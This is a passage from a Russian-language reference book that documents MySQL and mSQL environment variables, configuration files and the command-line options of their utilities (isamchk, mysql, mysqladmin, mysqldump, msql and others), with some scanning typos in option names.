Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

MYSQL_DEBUG

Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

MYSQL_HOST

Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

MYSQL_PWD

Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

Будьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

MYSQL_TCP_PORT

При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.

MYSQL_UNIX_PORT

При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

EDITOR VISUAL

Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

HOME

Домашний каталог текущего пользователя. LOGIN LOGNAME USER

Имя текущего пользователя.

PATH

Список каталогов, используемых при поиске программ.

POSIXLY_CORRECT

Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

ТМР TMPDIR

Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

TZ

Часовой пояс локальной машины.

UMASK

Маска, используемая при создании новых файлов.

Переменные командной строки

Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

back_log

Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

connect _timeout

Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

decode-bits

Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.

delayed_insert_limit

Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

delay ed_insert_timeout

Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

delayed_queue_size

Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

dritebuffer

Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

flush_time

Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

join_buffer

Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

key_buffer_size

Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

long_query_time

Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

max_allowed_packet

Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

max_connect_errors

Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.

max_Connections

Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

max_delayed_threads

Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

max_join_size

Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

max_sort_length

Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

max_tmp_tables

(Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

net_buffer_length

Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

readbuffer

Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

record_buffer

Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

sortbuffer

Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

sort_buffer

Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

sort_key_blocks

Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.

table_cache

Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

tmp_table_size

Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

thread_stack

Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

wait_timeout

Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

Файл конфигурации MySQL

Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом «#» или «; ». Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров «-» (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

[client]

port=9999

socket=/dev/mysql

[mysqld]

port=9999

socket=/dev/mysql

set-variable = join_buffer=1M

[mysql]

host=dbhost

unbuffered

Системные переменные mSQL

До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

Переменные окружения

Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

MSQL_DEBUG

Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

MSQL_CONF_FILE

Путь к файлу конфигурации mSQL.

Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

USER

Имя текущего пользователя.

EDITOR

VISUAL

Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

Файл конфигурации mSQL

Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

[general]

Inst_Dir = /usr/local/Hughes

mSQL_User = msql

Admin_User = root

Pid_File = %I/msql2d.pid

TCP_Port =1114

UNIX_Port = %I/msql2.sock

[system]

Msync_Timer = 30 Host_Lookup = True Read_0nly = False

[w3-msql]

Auth_Host = NULL Footer = True Force_Private = False

Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.

general

Admin_User

Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

Inst_Dir

Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

mSQL_User

Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

Pid_File

Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

TCP_Port

В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

UNIX_Port

Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

system

Host_Lookup

Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

Msync_timer

Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

Read_Only

Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

w3-msql

Auth_Host

Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

Footer

Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

Force_Private

При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №17. Программы и утилиты MySQL и mSQL
    • Утилиты MySQL
    • Утилиты mSQL

Глава №17.

Программы и утилиты My SQL и mSQL

MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.

Утилиты MySQL

isamchk

isamchk [options] table [table...]

Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

Параметры

-?, --help

Вывести информацию об использовании утилиты.

-# debuglevel, --debug=debuglevel

Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen- dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

-a, --analyze

Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

-d, -description

Выводит информацию о таблице.

-е, --extend-check

Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

-f, --force

Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

-i, --information

Выводит всю статистику о проверяемой таблице.

-k=number, -keys-used=number

Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

-l, --no-symlinks

He восстанавливать таблицы с символическими связями.

-q, --quick

Ускорить процесс восстановления путем отказа от проверки файла данных.

-r, --recover

Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

-о, --safe-recover

Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.

-О, --set-variable

Установить переменную. См. главу 16 «Системные переменные MySQL и mSQL», где приведен полный список используемых переменных.

-s, --silent

Выводить только ошибки.

-S, --sort-index

Отсортировать индексный блок таблицы.

-R=index, --sort-records=index

Отсортировать записи, используя index.

-U, --unpack

Распаковать файл, сжатый с помощьюpack_isam.

-v, --verbose

Выводить дополнительную информацию.

-V, --version

Вывести информацию о версии.

-w, --wait

Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

isamlog

isamlog [options] [logfile] [table]

Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

Параметры

-?, -help

Вывести справочную информацию по использованию утилиты.

-# debuglevel

Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html .

-с number

Проверить только последнее указанное (number) количество команд.

-f number

Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

-F directory

Каталог с файлами журналов ISAM.

-i

Выводить дополнительную информацию.

-о number

Пропустить указанное число команд перед исследованием журнала.

-p

Удалить компоненты из пути к файлам.

-r

Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

-R datafile recordnumber

Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

-u

Обновить таблицы, используя информацию из журнала.

-v

Вывести дополнительную информацию о процессе.

-V

Вывести информацию о версии.

-w file

Поместить в файл все записи, найденные с использованием

-R.

mysql

mysql [options] [database]

Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

Команды

help, ?, \h

Показать список команд утилиты.

clear, \c

Очистить (игнорировать) текущую команду.

edit, \e

Редактировать текущую команду с помощью редактора по умолчанию.

exit.

Выйти из программы.

go, \g, ;

Послать текущую команду серверу баз данных.

ego, \G

Послать текущую команду серверу баз данных и вывести результаты по вертикали.

print, \p

Вывести текущую команду.

quit, \q

To же, что exit,

rehash, \#

Перестроить индекс завершающих терминов.

status, \s

Показать информацию о сервере и текущей сессии.

use, \u

Выбрать другую базу данных.

Параметры

-?, -help

Вывести информацию об использовании утилиты.

-# debuglevel. -debug=debuglevel

Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html .

-A, --no-auto-rehash.

Не хэшировать заново данные из базы в автоматическом режиме.

-В, -batch

Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

-е statement, -execute=statement

Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

-f, --force

Не останавливать обработку при обнаружении ошибки SQL.

-h host, -host=host

Подключиться к базе данных на указанном хосте.

-п, -unbuffered

Не производить буферизацию между запросами.

-О variable=value, -set-variable variable=value

Установить переменную. См. главу 16, где приведен полный список используемых переменных.

-p [password], --password[=password]

Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

-P port, -port=port

Номер порта для подключения к серверу баз данных.

-q, -quick

Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

-r. -raw

Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

-s, --silent

Не выводить некоторые результаты.

-S file, -socket=file

Файл сокета Unix, используемый для подключения к серверу баз данных.

-t, -table

Показывать результат в табличном формате.

-Т, -debug-info

Показать отладочную информацию при выходе из программы.

-и username, -user=username

Имя пользователя, используемое при подключении к базе данных.

-v, -verbose

Вывести дополнительные результаты.

-V, -version

Вывести информацию о версии.

-w, -wait

Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

mysqlaccess

mysqlaccess [options] [host] user database

Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

Параметры

-?, -help

Показать справочную информацию по пользованию утилитой.

-b, -brief

Показать результаты в виде краткой однострочной таблицы.

-commit

Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

-сору

Обновить временную таблицу, используя действующую таблицу привилегий.

-d database, -db=database

База данных, к которой происходит подключение.

-debug=debuglevel

Установить отладочный уровень (от 0 до 3).

-h host, -host=host

Имя хоста, права доступа которого проверяются.

-howto

Примеры использования программы.

-Н host, --rhost=host

Подключиться к серверу баз данных на удаленном хосте.

-old-server

Подключится к серверу MySQL версии старше 3.21.

-р password, -password=password

Проверить пароль идентифицируемого пользователя.

-plan

Показать предложения к следующей версии программы.

-preview

Показать разницу между действующей и временной таблицами привилегий.

-Р password, -spassword=password

Пароль администратора для доступа к таблице привилегий.

--relnotes

Вывести примечания к версии программы.

--rollback

Отменить изменения, сделанные во временной таблице.

-t,--table

Вывести результаты в полном табличном формате.

-и username, -user=username

Имя проверяемого пользователя.

-U username. -superuser=username

Имя администратора для доступа к таблицам привилегий.

-v,--version

Вывести информацию о версии.

mysqladmin

mysqladmin [options] command [command. . . ]

Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

Команды

create database

Создать новую базу данных.

drop database

Уничтожить базу данных.

extended-status

Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

flush-hosts

Послать клиентам всю информацию, находящуюся в буфере.

flush-logs

Записать на диск все журнальные данные из буфера.

flush-privileges

То же, что и reload,

flush-status

Обнулить переменные состояния.

flush-tables

Выполнить все буферизованные табличные операции.

kill thread-id [thread-id...]

Завершить один или несколько потоков mysqld.

password password

Установить пароль администратора для сервера баз данных.

ping

Проверить, работает ли сервер MySQL.

processlist

Показать активные потоки сервера mysqld.

reload

Перезагрузить информацию о правах доступа из таблицы привилегий.

refresh

Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

shutdown

Закончить работу сервера баз данных.

status

Отчет о состоянии сервера.

variables

Вывести системные переменные, используемые сервером.

version

Вывести номер версии сервера.

Параметры

-?, -help

Вывести информацию об использовании утилиты.

-# debuglevel, ~debug=debuglevel

Установить отладочный уровень. См. isamchk для подробной информации.

-f, --force

Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

-h host, --host=host

Подключиться к серверу MySQL на указанном хосте.

-i seconds, --sleep=seconds

Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.

-р [password], --password=[password]

Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

-Р port, --port=port

Порт, используемый для подключения к удаленному серверу баз данных.

-s, --silent

Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

-S file, --socket=file

Сокет Unix, используемый для подключения к локальному серверу баз данных.

-и username, --user=username

Имя пользователя, используемое для подключения к серверу баз данных.

-V, --version

Вывести информацию о версии программы mysqladmin.

mysqlbug

mysqlbug

Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

mysqld

mysqld [options]

Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

Параметры

-?, -I, -help

Показать информацию об использовании демона.

-# debuglevel, -debug=debuglevel

Устанавливает отладочный уровень. См. Isamchk для детальной информации.

-b directory, --basedir=directory

Основной каталог, используемый при определении всех остальных каталогов.

--big-tables

Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

--bind-address—ip-number

IP-адрес, к которому привязан сервер.

-h directory, --datadir=directory

Каталог, содержащий файлы данных баз данных.

-l [logfile], -log [=logfile]

Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.

--log-isam[=logfile]

Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

--log-update [=number]

Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

-L=language, --language=language

Язык (English, French и т. д.), который будет использовать сервер.

-п, --new

Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

-о, -old-protocol

Использовать протокол 3.20.x.

-О variable=value, -set-variable variable=value

Установить переменные. См. главу 16, где приводится полный список переменных.

--pid-file=file

Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

-P port, -port=port

Номер используемого сетевого порта.

-secure

Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

-skip-name-resolve

Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

--skip-networking

Запретить сетевые подключения и использовать только локальный доступ.

--skip-thread-priority

Дать всем потокам одинаковый приоритет.

-S, -skip-new

Не разрешать новые (и, возможно, небезопасные) запуски демона.

-sg

Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

-Sl

Не выполнять блокировку потоков.

--socket=file

Имя файла сокета Unix.

-Т, --exit-info

Выводить отладочную информацию при выключении сервера.

--use-locking

Разрешить блокировку потоков.

-v, -V, --version

Вывести информацию о версии.

mysqldump

mysqldump [options] database [table]

Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.

Параметры

-?, --help

Вывести информацию об использовании утилиты.

-# debuglevel, --debug=debuglevel

Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html .

-add-drop-table

Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

--add-locks

Обрамлять командой LOCK TABLE команды ввода данных.

-allow-keywords

Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

-с, --compleat-insert

Выводить полные инструкции INSERT.

-С, --compress

Использовать сжатие данных при подключении к серверу.

--delayed

Использовать INSERT DELAYED при вставке записей.

-d, --no-data

Не выводить данные, записывать только операторы создания таблиц.

-е, --extended-insert

Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

-f, --force

Не выходить из программы при обнаружении ошибки.

-F, --flush-logs

Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

--fields-enclosed-by=delimeter

При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

--fields-escaped-by=delimeter

При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

--fields-terminated-by=delimeter

При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

-h hostname, --host=hostname

Подключиться к серверу баз данных на удаленном хосте.

-l, --lock-tables

Заблокировать таблицы перед дампом.

--lines-terminated-by=delimeter

При дампе с параметром -Т этот разделитель используется после каждой строки.

-t, --no-create-info

He выполнять дамп команд описания таблиц, записывать только данные.

-О variable=value, -set-variable variable=value

Установить переменную. См. главу 16, где находится полный список используемых переменных.

--opt

Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

-P [password], -password [=password]

Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

-Р port, -port=port

Порт, используемый для подключения к удаленному серверу баз данных.

-q, -quick

Показывать все данные немедленно, без буферизации.

-S file, --socket=file

Сокет Unix, используемый для локального подключения к серверу.

-Т directory, --tab=directory

Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

-u username, --user=username

Имя пользователя, используемое при подключении к серверу баз данных.

-v, --verbose

Показать информацию о состоянии процесса, пока происходит создание дампа данных.

-V, -version

Показать информацию о версии.

-w statement, --where=statement

Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

mysqlimport

mysqlimport [options] database [file]

Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

Параметры

-?, --help

Выдать информацию по использованию утилиты.

-# debuglevel, -debug=debuglevel

Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html .

-d, --delete

Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

-f, --force

Не выходить из программы, если обнаружена ошибка

--fields-terminated-by=string

Указывает, что поля в файле данных заканчиваются символами, указанными в string.

--fields-enclosed-by=string

Указывает, что поля в файле данных с двух сторон заключены в символы string.

--fields-optionally-enclosed-by=string

Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

--fields-escaped-by=string

Заданное значение string используется в файле данных как управляющий символ.

-h hostname, --host=hostname

Подключиться к серверу баз данных на удаленном хосте.

-I, --ignore

Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

-l, --lock-tables

Заблокировать таблицы перед вставкой данных.

-р [password], --password[=password]

Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

-Р port, --port=port

Порт, используемый для подключения к удаленному серверу баз данных.

-r, --replace

Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

-s, --silent

Не показывать некоторые результаты.

-S file, -socket=file

Сокет Unix, используемый для локального подключения к серверу.

-u username, --user=username

Имя пользователя, используемое при подключении к серверу баз данных.

-v, --verbose

Показать информацию о состоянии процесса, пока происходит вставка данных.

-V, -version

Показать информацию о версии.

mysqlshow

mysqlshow [options] [database] [table] [field]

Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

Параметры

-?, -help

Выдать справку по использованию утилиты.

-# debuglevel, --debug=debuglevel

Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.

-h hostname, --host=hostname

Подключиться к удаленному серверу баз данных.

-k, --keys

Показать ключи таблицы.

-Р [password], -password]=password]

Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

-Р port, --port=port

Порт, используемый для подключения к удаленному серверу баз данных.

-S file, --socket=file

Сокет Unix, используемый для локального подключения к серверу.

-и username, --user=username

Имя пользователя, используемое при подключении к серверу баз данных.

-V, --version

Показать информацию о версии.

Утилиты mSQL

msql

msql [options] database

Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

Команды

\e

Редактировать предыдущее предложение с помощью редактора по умолчанию.

\g

Послать команду серверу баз данных.

\Р

Вывести текущую команду.

\q

Выйти из программы.

Параметры

-f file

Использовать альтернативный файл конфигурации.

-h hostname

Подключиться к серверу баз данных на удаленном хосте.

msql2d

msq12d [options]

